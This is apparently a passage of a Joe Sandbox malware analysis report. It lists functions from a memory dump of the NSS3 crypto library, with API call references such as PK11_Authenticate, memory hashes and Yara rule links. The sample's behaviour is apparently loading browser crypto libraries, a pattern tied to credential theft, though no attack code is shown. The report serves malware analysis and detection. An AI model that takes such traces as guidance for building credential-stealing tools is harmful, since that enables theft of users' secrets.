Part of subcall function 6BB50EB0: PR_LogPrint.NSS3(Aborting,?,6BA32357), ref: 6BB50EB8
Part of subcall function 6BB50EB0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6BA32357), ref: 6BB50EC0
Part of subcall function 6BB50EB0: PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6BB50EE6
Part of subcall function 6BB50EB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6BB50EFA
Part of subcall function 6BB50EB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BB50F16
Part of subcall function 6BB50EB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BB50F1C
Part of subcall function 6BB50EB0: DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BB50F25
Part of subcall function 6BB50EB0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BB50F2B

EnterCriticalSection.KERNEL32(?), ref: 6BB5B9CE

Part of subcall function 6BB55820: SuspendThread.KERNEL32(?,?,6BB5BA59,6BBA0478), ref: 6BB5582C

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Print__acrt_iob_funcabort$AbortBreakCriticalDebugEnterSectionSuspendThreadValuefflush
String ID:
API String ID: 3718378345-0
Opcode ID: bad651d0a42c2d4522d262707dc376c5317e2d1c8be6d1a8e735c7c9b76e7394
Instruction ID: ab09274ba61394f75f2f8b213fa83656133cb70d4affda689033472c2fad6ac5
Opcode Fuzzy Hash: bad651d0a42c2d4522d262707dc376c5317e2d1c8be6d1a8e735c7c9b76e7394
Instruction Fuzzy Hash: 7541E1739087C58BDB20AF68D5C176DB7A2FB02368F840190D90957542EB7DE8B1CA83

Function 6BA54860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA54894

Part of subcall function 6BA9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6BB718D0,?), ref: 6BA9B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA548CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA548DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6BA548FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6BA54912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA5494A

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 6df23586b08193c6bfa921a7e64e35e9b0b0671aa0e81b847de7d1164abaff66
Instruction ID: 06c7eca0b14b4ee289d98d7142f0d5f6b80214d350c2e965328c1b9e610f19d2
Opcode Fuzzy Hash: 6df23586b08193c6bfa921a7e64e35e9b0b0671aa0e81b847de7d1164abaff66
Instruction Fuzzy Hash: A041D572A14305ABEF04DF69D882B6F73E89F44618F44052CEA5587241FB78DAA4CB52

Function 6BAD8AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6BAC6F38), ref: 6BAD8B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6BAD8B58
NSS_OptionGet.NSS3(00000009,?), ref: 6BAD8B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6BAC6F38), ref: 6BAD8BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6BAD8C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6BAD8C1A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
Opcode ID: 451a76e261e095b8c103337aa40230d0cf2ac5f69b8a26c26ee5cc2bfa0bd736
Instruction ID: 719775f05413dcdee8ec789b11954f78fb65646c60cd12de76fa647795cc211e
Opcode Fuzzy Hash: 451a76e261e095b8c103337aa40230d0cf2ac5f69b8a26c26ee5cc2bfa0bd736
Instruction Fuzzy Hash: D2410672E01109ABEF019B69DC927BE37B9EF41304FC45460CD8AD71C0E76DAAC58796

Function 6BA9F9A0 Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6BA3F379,?,00000000,-00000002), ref: 6BA9F9B7

Part of subcall function 6BAA14C0: TlsGetValue.KERNEL32 ref: 6BAA14E0
Part of subcall function 6BAA14C0: EnterCriticalSection.KERNEL32 ref: 6BAA14F5
Part of subcall function 6BAA14C0: PR_Unlock.NSS3 ref: 6BAA150D

PORT_ZAlloc_Util.NSS3(0000000C,00000000,-00000002,?,-00000002,?,6BA3F379,?,00000000,-00000002), ref: 6BA9F9E1
PORT_Alloc_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6BA3F379,?,00000000,-00000002), ref: 6BA9FA01
free.MOZGLUE(?), ref: 6BA9FA1F
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6BA9FA2D
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6BA9FA4F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Alloc_$Arena$CriticalEnterMark_SectionUnlockValuefree
String ID:
API String ID: 1549345101-0
Opcode ID: 0e7266f6a35a0342e9ccd8676830871d1dd7a1a5404d448de10d1db47cbfa59c
Instruction ID: 19e1db9289fc55ad3c760a2830de9dcdcee996fcc38d4b67ce3e3af9013db6f3
Opcode Fuzzy Hash: 0e7266f6a35a0342e9ccd8676830871d1dd7a1a5404d448de10d1db47cbfa59c
Instruction Fuzzy Hash: 8931A7B5F103129BEF049E69A881A277BE46B49A44B08C07DFC19DF701E776E88197E1

Function 6BAB1B60 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6BAB39EC,?,00000000), ref: 6BAB1B87
PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6BAB39EC,?,00000000), ref: 6BAB1B9C
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,6BAB39EC,?,00000000), ref: 6BAB1BCE
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6BAB39EC,?,00000000), ref: 6BAB1BE8
SECOID_FindOIDTag_Util.NSS3(6BAB39EC,?,?,?,?,?,?,?,?,6BAB39EC,?,00000000), ref: 6BAB1C20

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$Arena_FindTag_memset
String ID:
API String ID: 3594443183-0
Opcode ID: b1549658ba8dbe1df371c1549c842d25bd53bf7d507db4a405d235ba5ee21569
Instruction ID: 00aa222573d668e686acd341376d7f133175524ee5b010d82dd5bd248a729b76
Opcode Fuzzy Hash: b1549658ba8dbe1df371c1549c842d25bd53bf7d507db4a405d235ba5ee21569
Instruction Fuzzy Hash: 3531D4B6A00210ABEF008B66EC46B3A77ADEF85754F094079EC19DB341EB39DD51C7A1

Function 6BA66B70 Relevance: 9.1, APIs: 6, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BA66BA9

Part of subcall function 6BA69520: PK11_IsLoggedIn.NSS3(00000000,?,6BA9379E,?,00000001,?), ref: 6BA69542

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BA66BC0
PORT_ArenaAlloc_Util.NSS3(00000000,0000001C,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BA66BD7
PK11_HasAttributeSet.NSS3(?,?,00000002,00000000,?,?,?,?,00000007,?,00000000), ref: 6BA66B97

Part of subcall function 6BA81870: TlsGetValue.KERNEL32 ref: 6BA818A6
Part of subcall function 6BA81870: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6BA66C34,?,?,00000001,00000000,00000007,?), ref: 6BA818B6
Part of subcall function 6BA81870: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BA66C34,?,?), ref: 6BA818E1
Part of subcall function 6BA81870: PR_SetError.NSS3(00000000,00000000), ref: 6BA818F9

PK11_HasAttributeSet.NSS3(?,?,00000001,00000000,00000007,?,00000000), ref: 6BA66C2F
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BA66C61

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_$Util$Arena_Attribute$Alloc_ArenaAuthenticateCriticalEnterErrorFreeLoggedSectionUnlockValue
String ID:
API String ID: 2313852964-0
Opcode ID: 7114e66e57c3a282f95a01f1086d2084e56916225fd5692eb822442a2e791d41
Instruction ID: 3fe85b85064ea3144918415a847c28b9bd1f0d65049a6edc1050aaf9efec8c52
Opcode Fuzzy Hash: 7114e66e57c3a282f95a01f1086d2084e56916225fd5692eb822442a2e791d41
Instruction Fuzzy Hash: 1331E6F5A40311ABEF008F68DD82FAA7754EB49794F08006DED0857382F779DC9186E1

Function 6BA2A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6BB09270), ref: 6BA2A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6BB09270), ref: 6BA2A9DE

Part of subcall function 6BB0CA40: LeaveCriticalSection.KERNEL32(?), ref: 6BB0CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6BA2AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6BA2AA39
EnterCriticalSection.KERNEL32(?), ref: 6BA2AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BA2AAEB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue
String ID:
API String ID: 1047551388-0
Opcode ID: 1337a1377829adf3c7e2793e68412bbc64eaeed66bd3d193f30a3337e3c0312f
Instruction ID: b0abb23c475b9106a1f296058b7b1eb9df13a6a54fd4831e7b36fba65ddfdf49
Opcode Fuzzy Hash: 1337a1377829adf3c7e2793e68412bbc64eaeed66bd3d193f30a3337e3c0312f
Instruction Fuzzy Hash: 8F413F705047019FEB109F28C684796BBE6FF46714F1C866DE45E8B241DB7AD9C2CB80

Function 6BA4B810 Relevance: 9.1, APIs: 6, Instructions: 101memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BA61750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6BA4991E,00000000,00000000,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA61769
Part of subcall function 6BA61750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA6180C

Part of subcall function 6BA589E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6BA588AE,-00000008), ref: 6BA58A04
Part of subcall function 6BA589E0: EnterCriticalSection.KERNEL32(?), ref: 6BA58A15
Part of subcall function 6BA589E0: memset.VCRUNTIME140(6BA588AE,00000000,00000132), ref: 6BA58A27
Part of subcall function 6BA589E0: PR_Unlock.NSS3(?), ref: 6BA58A35

Part of subcall function 6BA5FCA0: PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6BA5FCBD
Part of subcall function 6BA5FCA0: strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6BA5FCCC
Part of subcall function 6BA5FCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6BA5FCEF
Part of subcall function 6BA5FCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA5FD32
Part of subcall function 6BA5FCA0: PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6BA5FD46
Part of subcall function 6BA5FCA0: memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6BA5FD6D
Part of subcall function 6BA5FCA0: memcpy.VCRUNTIME140(00000000,?,?), ref: 6BA5FD84

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BA4B88F
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6BA4B8A3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA4B8B6
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6BA4B8C5
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6BA4B8DC
free.MOZGLUE(00000000), ref: 6BA4B8F5

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtilmemcpystrlen$EnterMonitor$CriticalExitInternalK11_SectionSlotUnlockValuefreememsetstrchrstrcmp
String ID:
API String ID: 3017222904-0
Opcode ID: 87c1efb065469d77e5d97f6b4bedeca3b7defbf1071cadf3afa945574f995549
Instruction ID: 1e2f67c9e7c75dcb7bf4f733005f7b1189a4d85745b5c8db6b7f24224948c82c
Opcode Fuzzy Hash: 87c1efb065469d77e5d97f6b4bedeca3b7defbf1071cadf3afa945574f995549
Instruction Fuzzy Hash: F92126B7D0021167EF004E799D02B6F7B68AF85258F480174EC289B205FB3ADA65C6F2

Function 6BA588D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6BA60725,00000000,00000058), ref: 6BA58906
EnterCriticalSection.KERNEL32(?), ref: 6BA5891A
PL_ArenaAllocate.NSS3(?,?), ref: 6BA5894A
calloc.MOZGLUE(00000001,6BA6072D,00000000,00000000,00000000,?,6BA60725,00000000,00000058), ref: 6BA58959
memset.VCRUNTIME140(?,00000000,?), ref: 6BA58993
PR_Unlock.NSS3(?), ref: 6BA589AF

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 48a88ffb7723cddbebaeb5e64b72bac31174c23dd11de5714d03926a63f0cdf7
Instruction ID: 7e8c86ac17796f2f8f2f1ad96de1a56c0f88dc66ceb7c61bcc159f7957a94347
Opcode Fuzzy Hash: 48a88ffb7723cddbebaeb5e64b72bac31174c23dd11de5714d03926a63f0cdf7
Instruction Fuzzy Hash: 1331F573E10115ABDF009F28CC41A6EB7A4EF45758F098564EC18DB242E736EAE1CBD2

Function 6BA41BF0 Relevance: 9.1, APIs: 6, Instructions: 94threadmemoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA41C0C

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PORT_NewArena_Util.NSS3(00000800), ref: 6BA41C20
PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6BA41C37
PR_GetCurrentThread.NSS3 ref: 6BA41C76
PR_GetCurrentThread.NSS3 ref: 6BA41CB1
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA41CDE

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena_CurrentThread$Alloc_ArenaErrorFreeValue
String ID:
API String ID: 2304596573-0
Opcode ID: 9d5640a65a64047ac5af3fb7567be9bca082c7a784147850f5c80293ece743cb
Instruction ID: 400f7b501c8fcaeae0333280cc5a579cccb62622f2c0ffb73a790d7a41b527bc
Opcode Fuzzy Hash: 9d5640a65a64047ac5af3fb7567be9bca082c7a784147850f5c80293ece743cb
Instruction Fuzzy Hash: CD21F5B2D10225ABEF109FB5AE41E7B3FA8EF04254F080164FD1896252F739C9B0D7A1

Function 6BB58A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6BB58A8F

Part of subcall function 6BA30F00: PR_GetPageSize.NSS3(6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F1B
Part of subcall function 6BA30F00: PR_NewLogModule.NSS3(clock,6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F25

htons.WSOCK32(?), ref: 6BB58ACB
PR_GetCurrentThread.NSS3(?), ref: 6BB58AE2
htons.WSOCK32(?), ref: 6BB58B1E
htonl.WSOCK32(7F000001,?), ref: 6BB58B3B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: c0c987e4ba65a1e210f467ed77c8d661c51fa1684bf3a35f1722168076762602
Instruction ID: 0c1b57f1449a0c2606449fe611a09944025db160f8476e09bb8303bdae80b942
Opcode Fuzzy Hash: c0c987e4ba65a1e210f467ed77c8d661c51fa1684bf3a35f1722168076762602
Instruction Fuzzy Hash: 0A21AD72D247C18AD3209F39894253AB3BAEF95304B11DA1EE8D997120F77995E0C352

Function 6BAA0AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6BA57F62,00000000,00000000,?,?,?,6BA580DD), ref: 6BAA0AAE
PL_HashTableDestroy.NSS3(?,?,?,6BA57F62,00000000,00000000,?,?,?,6BA580DD), ref: 6BAA0ACA
PL_HashTableDestroy.NSS3(?,?,?,6BA57F62,00000000,00000000,?,?,?,6BA580DD), ref: 6BAA0B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6BA57F62,00000000,00000000,?,?,?,6BA580DD), ref: 6BAA0B24
free.MOZGLUE(?,?,?,6BA57F62,00000000,00000000,?,?,?,6BA580DD), ref: 6BAA0B3C
memset.VCRUNTIME140(6BBA24E4,00000000,000005B0,?,?,6BA57F62,00000000,00000000,?,?,?,6BA580DD), ref: 6BAA0BC2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: c95cd2eff4d934888c7f58709d5dec9586a899dc54b9b812b98d461a60438f19
